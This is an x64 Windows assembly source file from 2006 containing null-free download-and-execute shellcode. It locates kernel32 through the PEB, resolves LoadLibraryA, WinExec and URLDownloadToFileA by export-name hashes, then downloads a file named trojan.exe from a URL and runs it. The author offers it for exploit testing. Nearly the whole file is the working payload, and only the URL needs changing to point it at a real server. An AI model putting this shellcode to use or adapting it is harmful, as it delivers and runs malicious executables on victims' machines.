;
; dexec64.asm - 218+ bytes (unoptimised)
;
; Win64 asm code, download & execute file using URLDownloadToFileA moniker & WinExec
;
; tested on AMD64 running Windows x64 SP1
;
; there probably are errors in the code, but this is more of an experimental source if nothing else.
; send corrections or errors to: 'weiss' wyse101 [at] gmail [dot] com
; code is not optimised at all, doesn't contain null bytes, so is possibly suitable for testing exploits on win64
;
; one of the main stumbling blocks in coding x64 asm on windows is the alignment of the stack.
; it must be aligned by 16 bytes because windows uses 128-bit SSE2, otherwise the api call will fail.
;
; thanx:
;
; roy g biv/29a - http://www.29a.net/
; Feryno - http://feryno.host.sk
; Tomasz Grysztar - http://flatassembler.org
;
format PE64 console 4.0
entry entrypoint

section '.text' code readable writeable executable     ; assumed to be writeable when in memory, no NX obstruction!

                                           ; 1*8 is used rather than 0*8 because it uses null byte
LoadLibraryA         equ  rbp+1*8          ; using rbp is smaller than using ebp on 64-bit
WinExec              equ  rbp+2*8
URLDownloadToFileA   equ  rbp+3*8          ; must be rbp because of 64-bit URLMON base address

entrypoint:
   jmp get_eip
load_dta:
   pop  rax
   push rax
   lea  r15,[rax-(setup_stack-hashes)]
   inc  byte [rax-(setup_stack-url_end)]          ; nullify tail end of url
   inc  byte [rax-(setup_stack-fname_end)]        ; nullify end of filename
   inc  byte [rax-(setup_stack-url_mon_end)]      ; nullify end of URLMON
   ret                                            ; go!

hashes:
   dw  0bb86h         ; LoadLibraryA()     635bbb86
   dw  0a333h         ; WinExec()          208da333

   db  'URLMON',0ffh,0ffh
url_mon_end   =   $-2

   dw  05f92h         ; URLDownloadToFileA    c91e5f92
   dq  -1
fname:
   db  'trojan.exe',0ffh                        ; what to save as
fname_end  =   $-1

url:
   db  'http://localhost/trojan.exe',0ffh       ; where to download file from
url_end  =   $-1

get_eip:
   call  load_dta
setup_stack:
   add  rsp,-(4*8)    ; 3 api variables, + 1 for avoiding null :-|
   push  rsp
   pop  rbp           ; rbp = table of api
   mov  rdi,rbp       ; rdi points to table also
   stosq              ; doesn't really do anything.
   add  rsp,-(11*8)   ; reserve space for windows, when calling api

   push 60h           ; Hello, Ratter. 8-D
   pop rcx
   mov rax,[gs:rcx]   ; Peb
   mov rax,[rax+18h]  ; PebLdr
   mov rsi,[rax+30h]  ; Ldr.InInitializationOrderModuleList
   lodsq              ; skip ntdll.dll
   mov rbx,[rax+10h]  ; kernel32.dll base

   mov cl,2                     ; get 2 api first
get_apis_loop:
   mov  eax,dword[rbx+3ch]      ; MZ header size
   lea  rsi,[rbx+rax+78h]       ; export directory begins at 88h
   mov  eax,dword[rsi+10h]      ; extra instructions needed to avoid null bytes
   lea  rsi,[rbx+rax+1ch]

   lodsd
   lea  r9,[rax+rbx]
   lodsd
   lea  r10,[rax+rbx]
   lodsd
   lea  r11,[rax+rbx]
   xor  r12,r12
load_index:
   mov  esi,dword[r10+4*r12]
   add  rsi,rbx
   inc  r12
   xor  eax,eax
   cdq
hash_export:
   lodsb
   add  edx,eax
   rol  edx, 5
   dec  eax
   jns  hash_export
   ror  edx, 5
   cmp  dx,word [r15]            ; found api?
   jne  load_index

   movzx  edx,word [r11+2*r12-2]
   mov  eax,[r9+4*rdx]
   add  rax,rbx
   add  r15,2                  ; skip hash

   stosq                       ; save api address
   loop get_apis_loop

   push  r15                   ; push/pop to avoid null with mov
   pop  rcx
   call  qword[LoadLibraryA]

   xchg  rax,rbx
   add  r15,8                   ; skip URLMON, first time.
   push  1                      ; get 1 api from URLMON
   pop  rcx
   test  rbx,rbx                ; continue if not zero
   jne   get_apis_loop

   dec  ecx
   push  rbx
   sub  rsp,3*8                 ; needed to align stack
   xor  r9,r9
   mov  r8,r15
   lea  rdx,[r8+(url-fname)]
   call  qword[URLDownloadToFileA]

   push 1
   pop  rdx
   mov rcx,r15
   call  qword[WinExec]       ; WinExec("trojan.exe",SW_SHOWNORMAL??);

   ;jmp   $                   ; hang

   call qword[ExitProcess]    ; not required, testing only

; section below not required, simply for testing.
section '.idata' import data readable writeable

  dd 0,0,0,RVA kernel_name,RVA kernel_table
  dd 0,0,0,0,0

  kernel_table:
    ExitProcess dq RVA _ExitProcess
    dq 0

  kernel_name db 'KERNEL32.DLL',0

  _ExitProcess dw 0
    db 'ExitProcess',0

; July 2006 - (Ireland)